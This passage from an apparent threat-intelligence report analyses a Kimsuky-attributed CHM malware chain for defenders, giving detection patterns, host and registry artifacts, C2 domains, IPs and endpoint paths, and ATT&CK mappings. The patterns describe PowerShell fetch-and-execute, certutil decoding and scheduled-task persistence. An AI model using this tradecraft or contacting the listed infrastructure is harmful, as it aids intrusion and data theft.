hh.exespawning PowerShell or a script interpreter- PowerShell writing into
%USERPROFILE%\Links certutil.exe -decodeoperating on.datand.inifileswscript.exeusing/e:vbscripton a non-script extensionwscript.exespawningcmd.execmd.exelaunching hidden PowerShell- PowerShell combining
Invoke-RestMethodwithInvoke-Expression - scheduled-task actions that execute
.inifiles throughwscript.exe
Host artifacts
%USERPROFILE%\Links\Link.dat
%USERPROFILE%\Links\Link.ini
OfficeUpdater_*.ini
Scheduled task:
Edge Updater
Registry artifacts:
HKCU\Software\Microsoft\Internet Explorer\Main\Check_Associations
HKCU\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize
HKCU\Software\Microsoft\Edge\IEToEdge\RedirectionMode
Network indicators
acnms[.]dmdoc[.]dynv6[.]net
118.194.249.91
aointerviews.com (potential)
51.79.185.184 (potential)
176.111.220.168 (potential)
152.32.138.15 (potential)
/smltm/bootservice.php
/smltm/finalservice.php
/smltm/checkservice.php
bootservice.php?tag=<value>&query=1
bootservice.php?tag=<value>&query=6
checkservice.php?idx=5&tag=<value>
The fixed multipart properties provide additional detection opportunities:
Filename: Info.txt
Boundary: ----c2xkanZvaXU4OTA
Form field: MAX_FILE_SIZE
Value: 1000000
ATT&CK mapping
The observed behavior maps to the following techniques:
| Technique | ID | Observed behavior |
|---|---|---|
| Compiled HTML File | T1218.001 | CHM content executes through Windows HTML Help |
| PowerShell | T1059.001 | Hidden PowerShell retrieves and executes code |
| Visual Basic | T1059.005 | Multiple stages execute through VBScript |
| Scheduled Task | T1053.005 | Hidden Edge Updater task runs hourly |
| System Information Discovery | T1082 | WMI collects OS, hardware and memory data |
| Process Discovery | T1057 | Win32_Process enumeration |
| File and Directory Discovery | T1083 | User and program directories are listed |
| Modify Registry | T1112 | IE and Edge-related values are modified |
| Deobfuscate/Decode Files | T1140 | certutil decodes the embedded VBScript |
| Ingress Tool Transfer | T1105 | Additional stages are retrieved over HTTP |
| Exfiltration Over C2 Channel | T1041 | Base64 inventory is uploaded to the C2 |
IIM Mapping
| Technique | ID | Description |
|---|---|---|
| Dynamic DNS Abuse | IIM-T008 | The campaign hosted its staging, exfiltration and final payload-delivery endpoints beneath acnms.dmdoc.dynv6.net, using the DynV6 dynamic DNS service to provide a changeable domain layer in front of the C2 infrastructure |
| Traffic Distribution System (TDS) | IIM-T017 | The final checkservice.php endpoint appears to act as a selective payload-delivery gate. Earlier stages were returned successfully, while the final request received HTTP 200 with an empty body despite the launcher expecting PowerShell code defining LogAction. The exact server-side selection criteria could not be determined |
| Geofenced Delivery | IIM-T019 | Considered as a possible gating mechanism, but not confirmed. Requests routed through different countries did not recover the expected final payload, and the available results were insufficient to demonstrate country- or region-based delivery decisions |
| User-Agent / Client Filtering | IIM-T020 | Considered but not confirmed. The chain uses Microsoft.XMLHTTP for the VBScript stages and Invoke-RestMethod for the final PowerShell request, allowing the server to distinguish clients through User-Agent or other HTTP characteristics. No client-specific delivery difference was conclusively observed |
| Request Fingerprinting Gate | IIM-T021 | Considered but not confirmed. The server may evaluate request order, parameter structure, uploaded inventory, source IP or other request properties before returning the final payload. Controlled replay reproduced the expected sequence, but the responsible fingerprinting condition was not identified. |
| Time-Window Gating | IIM-T022 | Considered but not confirmed. The original chain introduces a five-minute delay before the scheduled task begins and an additional randomized delay of six to twelve seconds before contacting the final endpoint. These timing values may contribute to server-side validation, but no time-dependent delivery behavior was demonstrated. |
Attribution context
Kimsuky has a documented history of distributing Korean-language CHM files that display legitimate-looking decoy content while downloading script-based payloads. Previous reporting has also described CHM-based Kimsuky activity focused on collecting and exfiltrating information from infected systems. [1][2]
The analyzed sample is consistent with that broader tradecraft:
- a Korean-language lure concerning North Korea
- execution through a compiled HTML Help file
- staged VBScript delivery
- PowerShell-based follow-on execution
- system and process profiling
- script-based persistence
- server-controlled payload selection
CHM-based delivery is not unique to Kimsuky and, on its own, would be insufficient for attribution.
Confidence increases, when the delivery method is considered alongside the Korean-language decoy material, the infrastructure choices, recurring Kimsuky-associated artifacts, including the characteristic web server welcome message and the implementation details observed in the code.
Any one of these indicators could be imitated as part of a deception effort.
Reproducing the full combination consistently across the lure, infrastructure, server behavior and malware logic would require a significantly greater level of effort.
Taken together, these signals provide a much stronger basis for attributing the activity to Kimsuky.
Conclusion
The most notable aspect of this chain is zhe handoff between them.
The CHM launches a hidden bootstrap.
The bootstrap retrieves a profiler.
The profiler inventories the system, uploads the result and establishes persistence.
The persistent loader introduces PowerShell.
PowerShell then contacts a final endpoint that decides whether the victim receives the operational payload.
In the analyzed environment, that last decision was negative.
The actor exposed enough of the chain to reconstruct its discovery, exfiltration and persistence logic, but the final LogAction implementation remained behind a server-side delivery gate.
That separation complicates automated analysis and limits exposure of the actors most valuable component.
It also provides us defenders with a useful lesson: an empty response does not necessarily mark the end of an inactive chain.
It could also be evidence that the infrastructure is still making decisions.